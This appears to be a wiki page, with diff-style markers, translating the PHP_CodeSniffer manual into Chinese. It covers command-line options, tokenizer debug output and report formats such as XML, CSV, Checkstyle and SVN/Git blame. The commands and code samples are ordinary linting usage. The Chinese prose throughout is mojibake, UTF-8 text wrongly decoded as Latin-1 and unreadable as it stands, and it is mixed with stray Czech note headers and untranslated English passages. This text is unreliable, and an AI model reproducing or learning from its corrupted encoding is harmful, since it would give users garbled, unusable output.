默认仅检测 .inc 或 .php 文件,你å¯ä»¥é€šè¿‡ --extensions 选项æ¥æŒ‡å®šéœ€è¦æ£€æµ‹çš„文件扩展å。示例如下: + +<code> +Checking .php files only + + +$ phpcs --extensions=php /path/to/code + +</code> + +<code> +Checking .php, .inc and .lib files only + + +$ phpcs --extensions=php,inc,lib /path/to/code +</code> + +== Poznámka: == +在明确指定需è¦æ£€æµ‹çš„文件åæ—¶ +--extensions + 选项将会被忽略掉。 + + +在下é¢çš„例å­ä¸­æŒ‡å®šæ–‡ä»¶çš„åŽç¼€å’Œ +--extensions + 选项是ä¸ç›¸ç¬¦çš„,但并ä¸å½±å“检测。 + + +<code> +$ phpcs --extensions=php /path/to/code/main.inc +</code> + +在检测目录时,ä¸åœ¨æŒ‡å®šåŽç¼€èŒƒå›´å†…的文件将会被忽略掉。 + + +忽略文件或文件夹 +在检测大é‡æ–‡ä»¶æ—¶æˆ‘们å¯ä»¥ä½¿ç”¨ --ignore 选项方便的忽略掉个别文件或文件夹。 + + +下é¢çš„例å­ä¸­ tests å’Œ data 文件夹中的文件将会被全部忽略。 + + +<code> +Ignoring test and data files + + +$ phpcs --ignore=*/tests/*,*/data/* /path/to/code + +</code> + +== Poznámka: == +你也å¯ä»¥é€šè¿‡åœ¨æ–‡ä»¶å¤´éƒ¨æ·»åŠ æ ‡è¯†æ³¨é‡Šæ¥å¿½ç•¥å¯¹è¯¥æ–‡ä»¶çš„检测。 + + +示例如下: + + +<code> +<?php +// @codingStandardsIgnoreFile +$xmlPackage = new XMLPackage; +$xmlPackage['error_code'] = get_default_error_code_value(); +$xmlPackage->send(); +?> +</code> + +忽略文件部分内容 +部分代ç å¯èƒ½å‡ºäºŽæŸç§åŽŸå› ä¸èƒ½æŒ‰ç…§å½“å‰çš„代ç è§„范书写。如在写æŸäº›åº“的扩展 +如Smarty的函数扩展。 + +或Web Service时。我们å¯ä»¥ä½¿ç”¨è¡Œå†…注释æ¥å¿½ç•¥æŽ‰è¯¥éƒ¨åˆ†ã€‚示例如下: + +<code> +Ignoring parts of a file using comments + + +$xmlPackage = new XMLPackage; +// @codingStandardsIgnoreStart +$xmlPackage['error_code'] = get_default_error_code_value(); +// @codingStandardsIgnoreEnd +$xmlPackage->send(); +</code> + +指定Sniff检测 +PHP_CodeSniffer默认会使用指定代ç è§„范的所有 +sniff +进行检测。 有时为了集中解决æŸä¸€é—®é¢˜ï¼Œæˆ‘们å¯ä»¥ä½¿ç”¨ + --sniffs + 选项指定 +sniff + 集中检测æŸä¸€é—®é¢˜ã€‚示例如下: + +<code> +Checking files for two specific sniffs only + + +$ phpcs --sniffs=Generic.PHP.LowerCaseConstant,PEAR.WhiteSpace.ScopeIndent /path/to/code +</code> + +== Poznámka: == +使用 -s 选项å¯ä»¥åœ¨æ‰“å°æŠ¥å‘Šæ—¶æŒ‡å‡ºè­¦å‘Šæˆ–错误对应的 +sniff +å称。示例如下: + +<code> + +$ phpcs -s /phpcsTest/optStest.php +FILE: /phpcsTest/optStest.php +-------------------------------------------------------------------------------- +FOUND 4 ERROR(S) AND 3 WARNING(S) AFFECTING 6 LINE(S) +-------------------------------------------------------------------------------- + 2 | ERROR | Missing file doc comment (PEAR.Commenting.FileComment) + 7 | ERROR | No space found after comma in function call + | | (PEAR.Functions.FunctionCallArgumentSpacing) + 16 | ERROR | You must use "/**" style comments for a function comment + | | (PEAR.Commenting.FunctionComment) + 16 | ERROR | Opening brace should be on a new line + | | (PEAR.Functions.FunctionDeclaration) + 25 | WARNING | Line exceeds 85 characters; contains 119 characters + | | (PEAR.Files.LineLength.LineTooLong) + 28 | WARNING | Line exceeds 85 characters; contains 108 characters + | | (PEAR.Files.LineLength.LineTooLong) + 51 | WARNING | Line exceeds 85 characters; contains 89 characters + | | (PEAR.Files.LineLength.LineTooLong) +-------------------------------------------------------------------------------- +</code> + +Filtering Errors and Warnings Based on Severity +<note warning> +译者使用的 CodeSniffer 1.2.2 未测试出该功能。 + +</note> +By default, PHP_CodeSniffer assigns a severity of 5 to all errors and warnings. Standards, especially custom standards, may change the severity of some messages so they are hidden by default or even so that they are raised to indicate greater importance. PHP_CodeSniffer allows you to decide what the minimum severity level must be to show a message in its report using the --severity command line argument. + + +<code> +Hiding errors and warnings with a severity less than 3 + + +$ phpcs --severity=3 /path/to/code +</code> + +You can specify different values for errors and warnings using the --error-severity and --warning-severity command line arguments. + + +<code> +Showing all errors but only warnings with a severity of 8 or more + + +$ phpcs --error-severity=1 --warning-severity=8 /path/to/code +</code> + +== Poznámka: == +Setting the severity of warnings to 0 is the same as using the -n command line argument. If you set the severity of errors to 0 PHP_CodeSniffer will not show any errors, which may be useful if you just want to show the warnings. + +== Poznámka: == +This feature is particularly useful during manual code reviews. During normal development or an automated build, you may want to only check code formatting issues while during a code review you may wish to show less severe errors and warnings that may need manual peer review. + +空格与制表符 +大部分PHP_CodeSniffer的代ç è§„范并ä¸å»ºè®®ä½¿ç”¨åˆ¶è¡¨ç¬¦ã€‚您å¯ä»¥ä½¿ç”¨è‡ªå·±å®šåˆ¶çš„sniffæ¥æ£€æµ‹ï¼Œä¹Ÿå¯ä»¥ä½¿ç”¨ PHP_CodeSniffer 在检测å‰æ›¿æ¢åˆ¶è¡¨ç¬¦ä¸ºç©ºæ ¼ã€‚ + + +== Poznámka: == +PHP_CodeSniffer 并ä¸ä¼šå°†æºæ–‡ä»¶ä¸­çš„制表符替æ¢ä¸ºç©ºæ ¼ã€‚其仅将待检测 Token 进行了转æ¢ï¼Œä½¿ä»£ç é€šè¿‡å½“å‰è§„范检测。 + +下é¢çš„代ç å°†ä¼šä½¿åŸºäºŽåˆ¶è¡¨ç¬¦çš„代ç é€šè¿‡éœ€è¦1到4个空格的规范检测。 +原文为:In the following example, PHP_CodeSniffer will replace all tabs in the files being checked with between 1 and 4 spaces, depending on the column the tab indents to. + + + +<code> +Converting tabs to spaces + + +$ phpcs --tab-width=4 /path/to/code +</code> + +é…置选项 +PHP_CodeSniffer有许多é…置选项å¯ä¾›è®¾ç½®ã€‚在æŸäº›éœ€è¦ç‰¹åˆ«è®¾ç½®çš„检测å‰ä¹Ÿå¯ä»¥é€šè¿‡å‘½ä»¤è¡Œæ¥è¿›è¡ŒåŠ¨æ€è®¾ç½®ã€‚ +**查看所有选项**。 + + +使用 +--config-set + 设定é…置选项的语法如下: + + +<code> +Setting a configuration option + + +$ phpcs --config-set <option> <value> +</code> + +删除é…置选项 +PHP_CodeSnifferå…许删除指定é…置选项,使其使用默认值。 + + +使用 +--config-delete + 删除é…置选项的语法如下: + + +<code> +Deleting a configuration option + + +$ phpcs --config-delete <option> +</code> + +查看é…置选项 +使用 +--config-show + 查看é…置选项的语法如下: + +<code> +Viewing configuration options + + +$ phpcs --config-show +Array +( + [default_standard] => PEAR + [zend_ca_path] => /path/to/ZendCodeAnalyzer +) +</code> + +分è¯è¯¦æƒ… +== Poznámka: == +该功能仅辅助调试。开å¯è¯¥åŠŸèƒ½å°†æ˜Žæ˜¾å¢žåŠ å†…容输出é‡å’Œè„šæœ¬æ‰§è¡Œæ—¶é—´ã€‚ + +PHP_CodeSniffer输出包括多个详情级别。 使用 +-vv + (二级详情)选项å¯ä»¥æ‰“å°å‡ºä¸€çº§è¯¦æƒ…(æºç è¡Œæ•°ã€åˆ†æžæ—¶é•¿ï¼‰å’Œåˆ†è¯æƒ…况。 + + +分è¯è¯¦æƒ…é€æ­¥è¾“出 结构视图ã€èŒƒå›´è§†å›¾å’Œå±‚级视图(Bracket Map,Scope Map and Level Map)。 +原文并没有结构视图(Bracket Map),这里是译者根æ®æµ‹è¯•ç»“果添加的。 + + + +范围视图 +下é¢çš„例å­å±•ç¤ºäº†èŒƒå›´è§†å›¾ï¼š + + +<code> +<?php +if ($condition) { + echo 'Condition was true'; +} +?> +</code> + +范围视图输出如下: + + +<code> +Sample scope map output + +$ phpcs --vv /path/to/code/myfile.php > vv.log +$ sed -n -e '/\*\*\* START SCOPE MAP \*\*\*/, /\*\*\* END SCOPE MAP \*\*\*/p' vv.log | more + +*** START SCOPE MAP *** +Start scope map at 1: T_IF => if +Process token 2 []: T_WHITESPACE => +Process token 3 []: T_OPEN_PARENTHESIS => ( +Process token 6 []: T_WHITESPACE => +Process token 7 []: T_OPEN_CURLY_BRACKET => { +=> Found scope opener for 1 (T_IF) +Process token 8 [opener:7;]: T_WHITESPACE => \n +Process token 9 [opener:7;]: T_WHITESPACE => +Process token 10 [opener:7;]: T_ECHO => echo +Process token 11 [opener:7;]: T_WHITESPACE => +Process token 12 [opener:7;]: T_CONSTANT_ENCAPSED_STRING => 'Condition was true' +Process token 13 [opener:7;]: T_SEMICOLON => ; +Process token 14 [opener:7;]: T_WHITESPACE => \n +Process token 15 [opener:7;]: T_CLOSE_CURLY_BRACKET => } +=> Found scope closer for 1 (T_IF) +*** END SCOPE MAP *** +</code> + +范围视图中包括以下几段信æ¯ï¼š + + + * ä½ç½® 1 为 if 标记 (在 0 ä½ç½®çš„标记为 PHP 起始标记)。 + * ä½ç½® 7 为 if 代ç æ®µèµ·å§‹æ ‡è®°ï¼ˆå·¦èŠ±æ‹¬å·ï¼‰ã€‚ + * ä½ç½® 15 为 if 代ç æ®µç»“æŸæ ‡è®°ï¼ˆå³èŠ±æ‹¬å·ï¼‰ã€‚ + * ä½ç½® 8 - 15 内的代ç å‡åŒ…å«åœ¨ if 语å¥èŒƒå›´å†…。 +层级视图 +下é¢çš„例å­å±•ç¤ºäº†å±‚级视图: + + +<code> +<?php +if ($condition) { + echo 'Condition was true'; +} +?> +</code> + +层级视图输出如下: + + +<code> +Sample level map output + +$ phpcs --vv /path/to/code/myfile.php > vv.log +$ sed -n -e '/\*\*\* START LEVEL MAP \*\*\*/, /\*\*\* END LEVEL MAP \*\*\*/p' vv.log | more + + *** START LEVEL MAP *** +Process token 0 on line 1 [lvl:0;]: T_OPEN_TAG => <?php\n +Process token 1 on line 2 [lvl:0;]: T_IF => if +Process token 2 on line 2 [lvl:0;]: T_WHITESPACE => +Process token 3 on line 2 [lvl:0;]: T_OPEN_PARENTHESIS => ( +Process token 4 on line 2 [lvl:0;]: T_VARIABLE => $condition +Process token 5 on line 2 [lvl:0;]: T_CLOSE_PARENTHESIS => ) +Process token 6 on line 2 [lvl:0;]: T_WHITESPACE => +Process token 7 on line 2 [lvl:0;]: T_OPEN_CURLY_BRACKET => { +=> Found scope opener for 1 (T_IF) + * level increased * + * token 1 (T_IF) added to conditions array * + Process token 8 on line 2 [lvl:1;conds;T_IF;]: T_WHITESPACE => \n + Process token 9 on line 3 [lvl:1;conds;T_IF;]: T_WHITESPACE => + Process token 10 on line 3 [lvl:1;conds;T_IF;]: T_ECHO => echo + Process token 11 on line 3 [lvl:1;conds;T_IF;]: T_WHITESPACE => + Process token 12 on line 3 [lvl:1;conds;T_IF;]: T_CONSTANT_ENCAPSED_STRING => 'Condition was true' + Process token 13 on line 3 [lvl:1;conds;T_IF;]: T_SEMICOLON => ; + Process token 14 on line 3 [lvl:1;conds;T_IF;]: T_WHITESPACE => \n + Process token 15 on line 4 [lvl:1;conds;T_IF;]: T_CLOSE_CURLY_BRACKET => } + => Found scope closer for 7 (T_OPEN_CURLY_BRACKET) + * token T_IF removed from conditions array * + * level decreased * +Process token 16 on line 4 [lvl:0;]: T_WHITESPACE => \n +Process token 17 on line 5 [lvl:0;]: T_CLOSE_TAG => ?>\n +*** END LEVEL MAP *** +</code> + +层级视图中包括以下几段信æ¯ï¼š + + + * if 语å¥çš„范围起始标志在ä½ç½® 7 。 + * ä½ç½® 8 - 15 å‡åœ¨ if 局域范围内,属于层级 1。并说明 if 的范围在一个æ¡ä»¶èŒƒå›´å†…便结æŸäº†ã€‚ +层级视图常被用æ¥åˆ¤å®šç¼©è¿›æ ¼å¼ï¼Œæ¯”如层级为 4 则需è¦å‰ç¼€16个空格作为缩进。也å¯ä»¥ç”¨æ¥åˆ¤å®šä¸€äº›ç‰¹æ®Šæ ‡è®°åœ¨ç‰¹æ®ŠèŒƒå›´å†…çš„æ„义,如 +function + 在 +class + 内则为 +method + 。 + + +分è¯è¿›åº¦è¯¦æƒ… +== Poznámka: == +该功能仅辅助调试。开å¯è¯¥åŠŸèƒ½å°†æ˜Žæ˜¾å¢žåŠ å†…容输出é‡å’Œè„šæœ¬æ‰§è¡Œæ—¶é—´ã€‚ + +PHP_CodeSniffer输出包括多个详情级别。 使用 +-vv +v (三级详情)选项å¯ä»¥æ‰“å°åŒ…括一二级详情的内容和文件检测进度信æ¯ã€‚ + + +下é¢çš„例å­å±•ç¤ºäº†åˆ†è¯è¿›åº¦è¯¦æƒ…: + + +<code> +<?php +if ($condition) { + echo 'Condition was true'; +} +?> +</code> + +分è¯è¿›åº¦è¯¦æƒ…如下: + + +<code> +Sample token processing output + + +*** START TOKEN PROCESSING *** +Process token 0: T_OPEN_TAG => <?php\n + Processing PEAR_Sniffs_Commenting_FileCommentSniff... DONE in 0.001 seconds + Processing PEAR_Sniffs_Files_LineLengthSniff... DONE in 0.0004 seconds + Processing PEAR_Sniffs_PHP_DisallowShortOpenTagSniff... DONE in 0.0001 seconds +Process token 1: T_IF => if + Processing PEAR_Sniffs_ControlStructures_ControlSignatureSniff... DONE in 0.0008 seconds + Processing PEAR_Sniffs_WhiteSpace_ScopeClosingBraceSniff... DONE in 0.0248 seconds + Processing PEAR_Sniffs_WhiteSpace_ScopeIndentSniff... DONE in 0.0004 seconds +Process token 2: T_WHITESPACE => +Process token 3: T_OPEN_PARENTHESIS => ( +Process token 4: T_VARIABLE => $condition +Process token 5: T_CLOSE_PARENTHESIS => ) +Process token 6: T_WHITESPACE => +Process token 7: T_OPEN_CURLY_BRACKET => { +Process token 8: T_WHITESPACE => \n +Process token 9: T_WHITESPACE => +Process token 10: T_ECHO => echo +Process token 11: T_WHITESPACE => +Process token 12: T_CONSTANT_ENCAPSED_STRING => 'Condition was true' +Process token 13: T_SEMICOLON => ; +Process token 14: T_WHITESPACE => \n +Process token 15: T_CLOSE_CURLY_BRACKET => } +Process token 16: T_WHITESPACE => \n +Process token 17: T_CLOSE_TAG => ?>\n +*** END TOKEN PROCESSING *** +</code> + +æ¯ä¸ªæ ‡è®°çš„ IDã€ç±»åž‹å’Œå…·ä½“内容都会被打å°å‡ºæ¥ï¼Œè¿˜æœ‰æ£€æŸ¥æ ‡è®°æ‰€ä½¿ç”¨çš„ sniff å称和检查耗时。 + + +上例中标记 1 为 if 关键è¯ï¼Œæ£€æŸ¥å®ƒä½¿ç”¨äº†ä¸‰ä¸ª sniff ,分别为 ControlSignature sniffã€ScopeClosingBrace sniff å’Œ ScopeIndent sniff。 其中 ScopeClosingBrace sniff 检查最慢,使用了 0.0248 秒。 + + +有趣的是åªæœ‰åœ¨ 0ã€1 两个标记åŽæœ‰ sniff çš„ä¿¡æ¯ã€‚这是PHP_CodeSniffer的常规处ç†æ–¹å¼ï¼Œç›‘å¬ç‰¹æ®Šçš„标记并在其åŽå¤„ç†ä¸€ç³»åˆ—的标记。 + + +例如 ScopeIndentSniff 仅在 if 标记处显示,但实际上它检查了 if 语å¥èŒƒå›´å†…所有行的缩进情况。 + + +====== 报表 ====== +打å°ç®€è¦å’Œè¯¦ç»†æŠ¥å‘Š +== Poznámka: == +基本打å°è¯´æ˜Žè¯·æŸ¥çœ‹ +**使用** 章节。 + +在使用详细和简è¦æ¨¡å¼æ‰“å°è­¦å‘Šå’Œé”™è¯¯ä¿¡æ¯æ—¶ï¼Œæˆ‘们å¯ä»¥ä½¿ç”¨ --sniffs 选项æ¥æŒ‡å®šæ£€æµ‹ç”¨çš„ +sniff + 。使用 -s 选项å¯ä»¥æŸ¥çœ‹å„æ¡ä¿¡æ¯å¯¹åº”çš„ +sniff + å称。 + +<code> +Sample PHP_CodeSniffer full report with source codes + + +$ phpcs -s /path/to/code/myfile.php + +FILE: /path/to/code/myfile.php +-------------------------------------------------------------------------------- +FOUND 5 ERROR(S) AND 1 WARNING(S) AFFECTING 5 LINE(S) +-------------------------------------------------------------------------------- + 2 | ERROR | Missing file doc comment (PEAR.Commenting.FileComment) + 20 | ERROR | PHP keywords must be lowercase; expected "false" but found + | | "FALSE" (Generic.PHP.LowerCaseConstant) + 47 | ERROR | Line not indented correctly; expected 4 spaces but found 1 + | | (PEAR.WhiteSpace.ScopeIndent) + 47 | WARNING | Equals sign not aligned with surrounding assignments + | | (Generic.Formatting.MultipleStatementAlignment) + 51 | ERROR | Missing function doc comment + | | (PEAR.Commenting.FunctionComment) + 88 | ERROR | Line not indented correctly; expected 9 spaces but found 6 + | | (PEAR.WhiteSpace.ScopeIndent) +-------------------------------------------------------------------------------- +</code> + +<code> +Sample PHP_CodeSniffer summary report with source codes + + +$ phpcs -s --report=summary /path/to/code + +PHP CODE SNIFFER REPORT SUMMARY +-------------------------------------------------------------------------------- +FILE ERRORS WARNINGS +-------------------------------------------------------------------------------- +/path/to/code/myfile.inc 5 0 +/path/to/code/yourfile.inc 1 1 +/path/to/code/ourfile.inc 0 2 +-------------------------------------------------------------------------------- +A TOTAL OF 6 ERROR(S) AND 3 WARNING(S) WERE FOUND IN 3 FILE(S) +-------------------------------------------------------------------------------- + + +PHP CODE SNIFFER VIOLATION SOURCE SUMMARY +-------------------------------------------------------------------------------- +SOURCE COUNT +-------------------------------------------------------------------------------- +PEAR.WhiteSpace.ScopeIndent 3 +PEAR.Commenting.FileComment 2 +Generic.PHP.LowerCaseConstant 2 +Generic.Formatting.MultipleStatementAlignment 1 +PEAR.Commenting.FunctionComment 1 +-------------------------------------------------------------------------------- +A TOTAL OF 9 SNIFF VIOLATION(S) WERE FOUND IN 5 SOURCE(S) +-------------------------------------------------------------------------------- +</code> + +打å°sniff使用报告 +PHP_CodeSnifferå¯ä»¥è¾“出关于sniff使用的摘è¦æŠ¥å‘Šã€‚使用 +--report=source + å³å¯æ‰“å°å‡ºå¦‚下报告: + + +<code> +Sample PHP_CodeSniffer source output + + +$ phpcs --report=source /path/to/code + +PHP CODE SNIFFER VIOLATION SOURCE SUMMARY +-------------------------------------------------------------------------------- +STANDARD CATEGORY SNIFF COUNT +-------------------------------------------------------------------------------- +Generic PHP Lower case constant 4 +PEAR White space Scope indent 3 +PEAR Commenting File comment 1 +-------------------------------------------------------------------------------- +A TOTAL OF 8 SNIFF VIOLATION(S) WERE FOUND IN 3 SOURCE(S) +-------------------------------------------------------------------------------- +</code> + +使用 -s å¯ä»¥æ‰“å°å‡º sniff æºå称(上例中sniffçš„å称为 阅读å‹å¥½å称)。 + + +<code> +Sample PHP_CodeSniffer source code output + + +$ phpcs -s --report=source /path/to/code + +PHP CODE SNIFFER VIOLATION SOURCE SUMMARY +-------------------------------------------------------------------------------- +SOURCE COUNT +-------------------------------------------------------------------------------- +Generic.PHP.LowerCaseConstant 4 +PEAR.WhiteSpace.ScopeIndent 3 +PEAR.Commenting.FileComment 1 +-------------------------------------------------------------------------------- +A TOTAL OF 8 SNIFF VIOLATION(S) WERE FOUND IN 3 SOURCE(S) +-------------------------------------------------------------------------------- +</code> + +打å°XML报告 +为了方便分æžå’Œä½¿ç”¨æŠ¥å‘Šï¼ŒPHP_CodeSniffer æä¾›XMLæ ¼å¼è¾“出的报告。使用 +--report=xml + å³å¯è¾“出如下例所示的报告: + +<code> +Sample PHP_CodeSniffer XML output + + +$ phpcs --report=xml /path/to/code + +<?xml version="1.0" encoding="UTF-8"?> +<phpcs version="1.0.0"> + <file name="/path/to/code/myfile.php" errors="4" warnings="1"> + <error line="2" column="1" source="PEAR.Commenting.FileComment">Missing file doc comment</error> + <error line="20" column="43" source="Generic.PHP.LowerCaseConstant">PHP keywords must be lowercase; expected "false" but found "FALSE"</error> + <error line="47" column="1" source="PEAR.WhiteSpace.ScopeIndent">Line not indented correctly; expected 4 spaces but found 1</error> + <warning line="47" column="20" source="Generic.Formatting.MultipleStatementAlignment">Equals sign not aligned with surrounding assignments</warning> + <error line="51" column="4" source="PEAR.Commenting.FunctionComment">Missing function doc comment</error> + </file> +</phpcs> +</code> + +æ‰“å° Checkstyle 报告 +PHP_CodeSnifferå¯ä»¥æ‰“å°å‡ºç±»ä¼¼ +**Checkstyle** çš„XML报告,å¯ä½¿ç”¨å·²æœ‰ Checkstyle 的报告分æžç¨‹åºè¿›è¡Œåˆ†æžã€‚ 使用 --report=checkstyle å³å¯è¾“出如下例所示的报告: + +<code> +Sample PHP_CodeSniffer Checkstyle output + + +$ phpcs --report=checkstyle /path/to/code + +<?xml version="1.0" encoding="UTF-8"?> +<checkstyle version="1.0.0"> + <file name="/path/to/code/myfile.php"> + <error line="2" column="1" severity="error" message="Missing file doc comment" source="PEAR.Commenting.FileComment"/> + <error line="20" column="43" severity="error" message="PHP keywords must be lowercase; expected "false" but found "FALSE"" source="Generic.PHP.LowerCaseConstant"/> + <error line="47" column="1" severity="error" message="Line not indented correctly; expected 4 spaces but found 1" source="PEAR.WhiteSpace.ScopeIndent"/> + <error line="47" column="20" severity="warning" message="Equals sign not aligned with surrounding assignments" source="Generic.Formatting.MultipleStatementAlignment"/> + <error line="51" column="4" severity="error" message="Missing function doc comment" source="PEAR.Commenting.FunctionComment"/> + </file> +</checkstyle> +</code> + +打å°CSV报告 +PHP_CodeSniffer å¯ä»¥ä½¿ç”¨ --report=csv 选项æ¥è¾“出如下CSV报告: + +<code> +Sample PHP_CodeSniffer CSV output + + +$ phpcs --report=csv /path/to/code + +File,Line,Column,Severity,Message,Source +"/path/to/code/myfile.php",2,1,error,"Missing file doc comment",PEAR.Commenting.FileComment +"/path/to/code/myfile.php",20,43,error,"PHP keywords must be lowercase; expected \"false\" but found \"FALSE\"",Generic.PHP.LowerCaseConstant +"/path/to/code/myfile.php",47,1,error,"Line not indented correctly; expected 4 spaces but found 1",PEAR.WhiteSpace.ScopeIndent +"/path/to/code/myfile.php",47,20,warning,"Equals sign not aligned with surrounding assignments",Generic.Formatting.MultipleStatementAlignment +"/path/to/code/myfile.php",51,4,error,"Missing function doc comment",PEAR.Commenting.FunctionComment +</code> + +== Poznámka: == +CSV报告首行为字段å称,排åºå¯èƒ½ä¼šå› ç‰ˆæœ¬æ›´æ–°è€Œä¸åŒã€‚在分æžæŠ¥å‘Šæ—¶å­—段å应尽é‡ä¾ç…§é¦–行。 + +打å°Emacs报告 +PHP_CodeSniffer å¯ä»¥é…åˆ GNU Emacs 输出å¯åœ¨æŠ¥å‘Šå’Œæºæ–‡ä»¶é—´åˆ‡æ¢çš„è¿è¡Œç»“果。是用 --report=emacs 选项æ¥è¾“出如下报告: + + +<code> +Sample PHP_CodeSniffer Emacs output + + +$ phpcs --report=emacs /path/to/code + +/path/to/code/myfile.php:2:1: error - Missing file doc comment +/path/to/code/myfile.php:20:43: error - PHP keywords must be lowercase; expected "false" but found "FALSE" +/path/to/code/myfile.php:47:1: error - Line not indented correctly; expected 4 spaces but found 1 +/path/to/code/myfile.php:47:20: warning - Equals sign not aligned with surrounding assignments +/path/to/code/myfile.php:51:4: error - Missing function doc comment +</code> + +首先确认Emacs安装了 +**PHP + mode for Emacs**,然åŽå°†å¦‚下内容存储为 .emacs 文件: + + +<code> +Sample .emacs file + + +(defun my-php-hook-function () + (set (make-local-variable 'compile-command) (format "phpcs --report=emacs --standard=PEAR %s" (buffer-file-name)))) +(add-hook 'php-mode-hook 'my-php-hook-function) +</code> + +现在你å¯ä»¥ä½¿ç”¨ +**编译命令** å’Œ +**组åˆé”®** 在报告信æ¯å’Œæºæ–‡ä»¶ä¹‹é—´åˆ‡æ¢ã€‚ + + +打å°SVN Blame报告 +PHP_CodeSniffer å¯ä»¥é€šè¿‡ svn blame 命令æ¥èŽ·å–警告和错误的æ交者信æ¯ã€‚使用 --report=svnblame 选项打å°å¦‚下信æ¯ï¼š + + +<code> +Sample PHP_CodeSniffer SVN Blame output + + +$ phpcs --report=svnblame /path/to/code + +PHP CODE SNIFFER SVN BLAME SUMMARY +-------------------------------------------------------------------------------- +AUTHOR COUNT (%) +-------------------------------------------------------------------------------- +jsmith 51 (40.8) +jblogs 44 (30) +pdeveloper 43 (10.33) +jscript 27 (19.84) +-------------------------------------------------------------------------------- +A TOTAL OF 165 SNIFF VIOLATION(S) WERE COMMITTED BY 4 AUTHOR(S) +-------------------------------------------------------------------------------- +</code> + +上表展示了å„æ交者è¿è§„代ç è¡Œæ•°ä¸Žæ‰€å å…¶æ€»æ交行数的百分比。 例如开å‘者 +pdeveloper + çš„è¿è§„行数有 43 行,å å…¶æ‰€æ交行数的比例为 10.33%。开å‘者 +jblogs + çš„è¿è§„行数有 44 行,å å…¶æ‰€æ交行数的比例为 30% 。虽然他们俩的è¿è§„行数仅差一行,但显然 +pdeveloper + æ交的代ç è´¨é‡æ¯”较好。 + + +加上 +-s + 选项å³å¯æŸ¥çœ‹å„å¼€å‘者欠缺注æ„的类型。 + + +<code> +Sample PHP_CodeSniffer SVN Blame output with sources + + +$ phpcs -s --report=svnblame /path/to/code + +PHP CODE SNIFFER SVN BLAME SUMMARY +-------------------------------------------------------------------------------- +AUTHOR SOURCE COUNT (%) +-------------------------------------------------------------------------------- +jsmith 51 (40.8) + Squiz.Files.LineLength 47 + PEAR.Functions.FunctionCallSignature 4 +jblogs 44 (30) + Squiz.Files.LineLength 40 + Generic.CodeAnalysis.UnusedFunctionParameter 2 + Squiz.CodeAnalysis.EmptyStatement 1 + Squiz.Formatting.MultipleStatementAlignment 1 +-------------------------------------------------------------------------------- +A TOTAL OF 95 SNIFF VIOLATION(S) WERE COMMITTED BY 2 AUTHOR(S) +-------------------------------------------------------------------------------- +</code> + +使用 -v 选项å¯å°†æ‰€æœ‰ä½œè€…列出,包括未出现è¿è§„代ç çš„作者。 + + +<code> +Sample PHP_CodeSniffer SVN Blame verbose output + + +$ phpcs -v --report=svnblame /path/to/code + +PHP CODE SNIFFER SVN BLAME SUMMARY +-------------------------------------------------------------------------------- +AUTHOR COUNT (%) +-------------------------------------------------------------------------------- +jsmith 51 (40.8) +jblogs 44 (30) +pdeveloper 43 (10.33) +jscript 27 (19.84) +toogood 0 (0) +-------------------------------------------------------------------------------- +A TOTAL OF 165 SNIFF VIOLATION(S) WERE COMMITTED BY 5 AUTHOR(S) +-------------------------------------------------------------------------------- +</code> + +== Poznámka: == +在检查之å‰è¯·ç¡®è®¤SVN在系统 path 内,且ä¿å­˜äº†å½“å‰ç‰ˆæœ¬åº“的登录用户信æ¯ï¼ˆå¦‚果需è¦çš„è¯ï¼‰ã€‚ å¦åˆ™å°†ç”Ÿæˆå¤±è´¥ã€‚如果没有存储用户å和密ç ï¼Œåœ¨æ¯ä¸ªæ£€æµ‹å‡ºè¿è§„代ç çš„文件是都需è¦é”®å…¥ä¸€æ¬¡ç”¨æˆ·å和密ç ã€‚ + +打å°Git Blame报告 +å’Œ SVN Blame报告相似, PHP_CodeSnifferå¯ä»¥é€šè¿‡ svn blame 命令æ¥èŽ·å–警告和错误的æ交者信æ¯ã€‚ 使用 --report=gitblame 选项å³å¯æ‰“å°å‡ºä¸Žä¸Šæ–¹ SVN Blame 相似的报告。 + +== Poznámka: == +在检查之å‰è¯·ç¡®è®¤GIT在系统 path 内,å¦åˆ™å°†é€ æˆç”Ÿæˆå¤±è´¥ã€‚ + +äº¤äº’æ¨¡å¼ +除了直接检查完代ç åŽç»™å‡ºç»“果, PHP_CodeSniffer支æŒäº¤äº’模å¼ã€‚å…许在检查完æ¯ä¸ªæ–‡ä»¶æ—¶æš‚åœã€‚这时你å¯ä»¥æŒ‰ ENTER é”®é‡æ–°æ£€æŸ¥ä»£ç ï¼ˆæ£€æŸ¥é€šè¿‡åŽè‡ªåŠ¨æ£€æŸ¥ä¸‹ä¸€æ–‡ä»¶ï¼‰ï¼Œæˆ–者按 S 键忽略当å‰æ–‡ä»¶çš„警告和错误,也å¯ä»¥æŒ‰ Q 键推出整个检查。 + + +使用 + -a + 选项å³å¯å¼€å¯äº¤äº’模å¼ï¼š + + +<code> +Running interactively + + +$ phpcs -a /path/to/code + +FILE: /path/to/code/myfile.php +-------------------------------------------------------------------------------- +FOUND 5 ERROR(S) AND 1 WARNING(S) AFFECTING 5 LINE(S) +-------------------------------------------------------------------------------- + 2 | ERROR | Missing file doc comment + 20 | ERROR | PHP keywords must be lowercase; expected "false" but found + | | "FALSE" + 47 | ERROR | Line not indented correctly; expected 4 spaces but found 1 + 47 | WARNING | Equals sign not aligned with surrounding assignments + 51 | ERROR | Missing function doc comment + 88 | ERROR | Line not indented correctly; expected 9 spaces but found 6 +-------------------------------------------------------------------------------- + +<ENTER> to recheck, [s] to skip or [q] to quit : +</code> + +设置报告宽度 +PHP_CodeSniffer默认报告宽度为80个字符(基于å±å¹•å®½åº¦ï¼‰ï¼Œå½“é‡åˆ°é•¿çš„路径å或信æ¯æ述时,其将会被截断分行。为了é¿å…ä¿¡æ¯è¢«åˆ†è¡Œï¼Œä½ å¯ä»¥å¢žåŠ æŠ¥å‘Šå®½åº¦ 。使用 +-report-width +å³å¯ï¼š + +<code> +Setting the report width to be 120 characters + + +$ phpcs --report-width=120 --report=summary /path/to/code/myfile.php +</code> + +生æˆæŠ¥å‘Šæ–‡ä»¶ +PHP_CodeSniffer å¯ä»¥å°†æŠ¥å‘Šç»“果输出为文件,这在输出 xmlã€csv 等格å¼æ—¶å分有用。 + + +使用 +--report-file + 命令输出文件: + + +<code> +Writing a report to a file + + +$ phpcs --report=xml --report-file=/path/to/file.xml /path/to/code +</code> + +== Poznámka: == +输出文件的åŒæ—¶å°†è¾“出到控制å°ã€‚ + +== Poznámka: == +译者注: + +<code> +$ phpcs --report=xml /path/to/code > /path/to/file.xml +</code> + +====== é…置选项 ====== +===== PHP_CodeSniffer é…置选项 ===== +设置默认代ç è§„范 